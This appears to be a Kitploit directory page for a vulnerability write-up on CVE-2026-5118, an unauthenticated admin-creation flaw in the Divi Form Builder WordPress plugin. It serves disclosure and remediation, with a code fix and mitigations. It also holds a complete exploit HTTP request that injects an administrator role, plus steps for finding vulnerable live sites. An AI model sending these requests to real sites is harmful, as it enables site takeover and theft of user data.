Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-5118 — CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Nicht authentifizierte Privilegienausweitung durch Rolleninjektion | Kitploit
Tools/GitHubGitHub/zycoder0day/cve-2026-5118
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubzycoder0day/cve-2026-5118

CVE-2026-5118

CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Nicht authentifizierte Privilegienausweitung durch Rolleninjektion

Repository anzeigen
51vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

🔥 CVE-2026-5118

Divi Form Builder <= 5.1.2 — Nicht authentifizierte Privilegieneskalation


🎯 Zusammenfassung

Das WordPress-Plugin Divi Form Builder in der Version 5.1.2 und früher weist eine kritische Schwachstelle auf, die es nicht authentifizierten Angreifern ermöglicht, direkt über ein Registrierungsformular ein Administrator-Konto zu erstellen.

Ein verstecktes Feld. Ein geänderter Wert. Vollzugriff auf die gesamte Website.


🧨 Was kann ein Angreifer tun?


🔬 Schwachstellenanalyse

Schwachstellenort

root@kitploit:~
includes/shared/handlers/FormSubmissionHandler.php → create_user()

Angreifbarer Code

root@kitploit:~
// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';
}

// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role);  // ← "administrator" langsung diterapkan

Warum funktioniert das?

root@kitploit:~
                    ALUR VALIDASI YANG BERMASALAH
  ┌──────────────────────────────────────────────────────┐
  │  Penyerang kirim: role=administrator                │
  │                    ↓                                  │
  │  sanitize_text_field() → "administrator" (bersih)   │
  │                    ↓                                  │
  │  isset($roles_obj->roles["administrator"]) → TRUE   │ ← BUG! Hanya cek ADA/TIDAK
  │                    ↓                                  │
  │  $user->set_role("administrator") → ADMIN PENUH!    │ ← PRIVESC!
  └──────────────────────────────────────────────────────┘

  "administrator" ADALAH role yang valid di WordPress,
  jadi validasi isset() SELALU return true.
  Fungsi ini TIDAK PERNAH menolak role berbahaya.

Angriffsvektor

Das DFB-Registrierungsformular enthält ein verstecktes Eingabefeld:

root@kitploit:~
<!-- Nilai asli dari developer -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">

<!-- Penyerang cukup ubah value-nya -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">

🛠️ Proof of Concept — Angriffskette

Phase 1: Aufklärung — Ziel finden

root@kitploit:~
[★] Target Discovery: Divi Form Builder indicator
    ├── Endpoint scan: 50+ path registrasi
    ├── Homepage link crawl: keyword priority
    ├── REST API: /wp-json/wp/v2/pages?search=register
    ├── Sitemap parsing: XML sitemap URLs
    ├── DFB REST API: /wp-json/divi-form-builder/v1
    ├── AJAX probe: de_fb_ajax_submit_ajax_handler
    ├── WooCommerce: /my-account/ sub-pages
    ├── robots.txt: custom sitemaps + disallow
    ├── Contact pages: DFB forms tersembunyi
    └── wp-json deep: content-first scan
    
[✓] Ditemukan: <input class="df_hidden_user_role" value="customer">
[✓] Versi plugin: v4.1.9 (VULNERABLE)
[✓] Form multi-step dengan reCAPTCHA v3

Phase 2: Extraktion der Formularparameter

root@kitploit:~
Parameter yang diperlukan:
  ├── fb_nonce:        [dari hidden input / de_fb_obj]
  ├── form_key:        [dari hidden input]
  ├── form_type:       register
  ├── divi-form-submit: yes
  └── role:            [INJEKSI: administrator]

Field pemetaan:
  ├── de_fb_user_login + user_login    (kedua varian wajib)
  ├── de_fb_user_email + user_email    
  ├── de_fb_user_pass  + user_pass     
  └── de_fb_pass_repeat               

Phase 3: Rollen-Injektion — Privilegieneskalation

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest

------POC
Content-Disposition: form-data; name="action"

de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"

[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"

administrator
------POC
Content-Disposition: form-data; name="form_type"

register
------POC
Content-Disposition: form-data; name="divi-form-submit"

yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"

attacker1337
------POC
Content-Disposition: form-data; name="user_login"

attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"

[email protected]
------POC
Content-Disposition: form-data; name="user_email"

[email protected]
------POC--

Phase 4: Verifizierung — Administratorzugriff

root@kitploit:~
[→] POST /wp-login.php
    user_login=attacker1337&user_pass=Str0ngP@ss!

[←] HTTP 302 → /wp-admin/

[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
    ├── Dashboard: /wp-admin/
    ├── Users:     Can create/delete any user
    ├── Plugins:   Can install/activate/edit PHP
    ├── Themes:    Can edit template files → RCE
    └── Settings:  Full site control

🧪 Laborverifizierung

Die Tests wurden in einer isolierten Docker-Umgebung (WordPress 6.5 + DFB v5.0.0) durchgeführt:

root@kitploit:~
╔══════════════════════════════════════════════════════╗
║  LAB VERIFICATION RESULTS                              ║
╠══════════════════════════════════════════════════════╣
║  Method: AJAX (admin-ajax.php)                        ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Method: Form POST (direct submission)                 ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Status: ★ PWNED — Full Admin Access ★               ║
╚══════════════════════════════════════════════════════╝

🔧 Empfohlene Korrektur

Lösung: Allowlist für Registrierungsrollen

root@kitploit:~
// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← Hanya cek ADA, bukan AMAN
}

// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Tolak semua role berbahaya
}

Zusätzliche Schritte

  1. Entfernen Sie den Parameter role aus dem Frontend-Formular — Verwenden Sie die bereits vorhandene default_user_role.
  2. Fügen Sie eine strenge Nonce-Überprüfung im AJAX-Handler hinzu.
  3. Fügen Sie eine Capability-Prüfung current_user_can('create_users') für spezielle Rollen hinzu.
  4. Rate-Limiting am Registrierungsendpunkt, um Brute-Force zu verhindern.

📊 Zeitplan

DatumEreignis
2026-04-13Version 5.1.3 veröffentlicht (möglicher Fix laut Changelog)
2026-05-21Schwachstelle unabhängig in isolierter Laborumgebung verifiziert
2026-05-21Responsible Disclosure an Divi Engine Security gesendet

🛡️ Vorübergehende Maßnahmen (Vor Patch)

  1. Aktualisieren Sie auf Version 5.1.3+, falls verfügbar.
  2. Deaktivieren Sie das DFB-Registrierungsformular, bis der Fix angewendet wird.
  3. Verwenden Sie eine WAF-Regel, um den Parameter role=administrator in POST-Anfragen zu blockieren.
  4. Überwachen Sie die Tabelle wp_users auf unbekannte neue Admin-Konten.
  5. Beschränken Sie den Zugriff auf /wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler.

⚖️ Haftungsausschluss

Dieses Dokument dient Bildungszwecken und Responsible Disclosure. Alle Exploit-Tests wurden in einer isolierten Laborumgebung durchgeführt. Bei Live-Zielen wurde nur eine passive Erkennung durchgeführt (Identifikation des Formulars und der Parameter, ohne Senden von Exploit-Daten).

Der Autor übernimmt keine Verantwortung für den Missbrauch der Informationen in diesem Dokument.


CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • Nicht authentifizierte Privilegieneskalation
Entdeckt & Verifiziert: 2026-05-21

Tool herunterladen
FähigkeitAuswirkung
🔑 Admin-Konto erstellen ohne AnmeldungKomplette Site-Übernahme
📦 Zugriff auf WooCommerce-KundendatenDatenleak
💉 Plugin/Theme-Dateien bearbeiten (PHP)Remote Code Execution
🕳️ Hintertür versteckenDauerhafter Zugriff
👥 Alle Benutzerdaten einsehenVerletzung der Privatsphäre